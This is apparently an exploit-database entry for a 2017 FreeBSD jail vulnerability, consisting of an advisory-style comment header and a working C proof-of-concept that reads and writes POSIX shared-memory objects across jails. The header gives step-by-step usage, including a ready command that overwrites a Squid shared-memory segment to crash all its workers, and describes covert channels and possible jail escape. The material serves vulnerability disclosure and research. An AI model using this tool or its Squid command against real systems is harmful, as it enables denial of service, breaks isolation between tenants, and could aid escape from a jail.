FreeBSD 10.3 Jail SHM Issue



EKU-ID: 6839 CVE: OSVDB-ID:
Author: WhiteWinterWolf Published: 2017-08-17 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*******************************************************************************
 *
 * AFFECTED PRODUCTS
 *
 * This issue affects FreeBSD from 7.0 to 10.3 included.
 *
 *
 * DESCRIPTION
 *
 * FreeBSD jail incompletely protects the access to the IPC primitives.
 *
 * The 'allow.sysvipc' setting only affects IPC queues, leaving other IPC
 * objects unprotected, making them reachable system-wide independently of
 * the system configuration.
 *
 * This creates two main weaknesses:
 *
 * - An attacker able to execute commands in one jail can attack processes
 *   located outside of the jail by directly accessing their IPC objects.
 *
 * - An attacker can create a bi-directional covert-channel between two
 *   otherwise isolated jails.
 *
 *
 * MITIGATION
 *
 * There is no mitigation measure available on vulnerable systems.
 *
 * This issue is fixed in FreeBSD 11.0, the fix is also planned in the upcoming
 * FreeBSD 10.4 (the fix is already committed to the FreeBSD STABLE branch, the
 * release is currently scheduled for October, 2017).
 *
 * There is not fix planned for FreeBSD 10.3. Note that this version is an
 * extended release which will be supported, and therefore widely deployed,
 * until April 2018.
 *
 * If you are relying on FreeBSD jail for security purposes, I recommend
 * to upgrade to a fixed version.
 *
 *
 * POC
 *
 * This program demonstrate the ability to communicate in an unrestricted way
 * between FreeBSD jails through the use SHM objects.
 *
 * This technique provides:
 *
 * - A stealth way to communicate with a payload executing itself in an
 *   otherwise isolated jail.
 *
 * - A way to exploit any process (system-wide) which uses SHM objects. The
 *   result may range from a Denial-Of-Service to an effective jail-hopping or
 *   jail-escape route.
 *
 *
 * USAGE
 *
 * 1. Compile and copy this tool in two different jails:
 *
 *        user@jail1:~$ make fbsd-shm-hole
 *        cc -O2 -pipe    fbsd-shm-hole.c  -o fbsd-shm-hole
 *        user@jail1:~$
 *
 * 2. In the first jail, pass an arbitrary SHM object path and a some string to
 *    as parameter to this tool:
 *
 *        user@jail1:~$ ./fbsd-shm-hole /foo/bar "Anything there?"
 *        user@jail1:~$
 *
 * 3. On the second jail pass only the path, the content of the string will be
 *    read from the SHM object and displayed on the output:
 *
 *        user@jail2:~$ ./fbsd-shm-hole /foo/bar
 *        Anything there?
 *        user@jail2:~$
 *
 * If there is a Squid daemon running somewhere on the system with the 'worker'
 * setting set to a value equal to or greater than 2, use the following command
 * to crash all Squid's workers at once:
 *
 *     root@jail1# ./fbsd-shm-hole /squid-cache_mem_map_slices.shm 'Booh'
 *
 * They will segfault on the next request, Squid main process will remain
 * running and the listening port opened (dumb monitoring systems may not even
 * notice the crash) but Squid will be unable to handle any new request until
 * it gets restarted.
 *
 * Note that Squid uses restrictive rights on its SHM objects, so you must
 * either launch the command using the same UID as the Squid process or as
 * root in your own jail to get write permissions.
 *
 *
 * REFERENCES
 *
 * Original article:
 * https://www.whitewinterwolf.com/posts/2017/08/02/freebsd-jail-shm-hole/
 *
 ******************************************************************************/

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

#define SIZE 4096

int main(int argc, char *argv[]){
 char *str;
 int len;
 int fd;

 if (argc != 2 && argc != 3) {
  fprintf(stderr, "Usage: fbsd-shm-hole shm_path [string]\n");
  return 1;
 }

 if (argc == 2) {
  fd = shm_open(argv[1], O_RDONLY, 0666);
  if (fd == -1) {
   fprintf(stderr, "shm_open() failed: %s\n", argv[1]);
   return 1;
  }
  str = mmap(NULL, SIZE, PROT_READ, MAP_SHARED, fd, 0);
  if (str == MAP_FAILED) {
   fprintf(stderr, "mmap() failed.\n");
   return 1;
  }
  printf("%s\n", str);
 }
 else {
  len = strlen(argv[2]) + 1;
  if (len > SIZE) {
   fprintf(stderr, "String too long (%d max.)\n", SIZE);
   return 1;
  }
  fd = shm_open(argv[1], O_RDWR | O_CREAT, 0666);
  if (fd == -1) {
   fprintf(stderr, "shm_open() failed: %s\n", argv[1]);
   return 1;
  }
  if (ftruncate(fd, SIZE) == -1) {
   fprintf(stderr, "ftruncate() failed.\n");
   return 1;
  }
  str = mmap(NULL, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
  if (str == MAP_FAILED) {
   fprintf(stderr, "mmap() failed.\n");
   return 1;
  }
  memcpy(str, argv[2], len);
  close(fd);
 }
 return 0;
}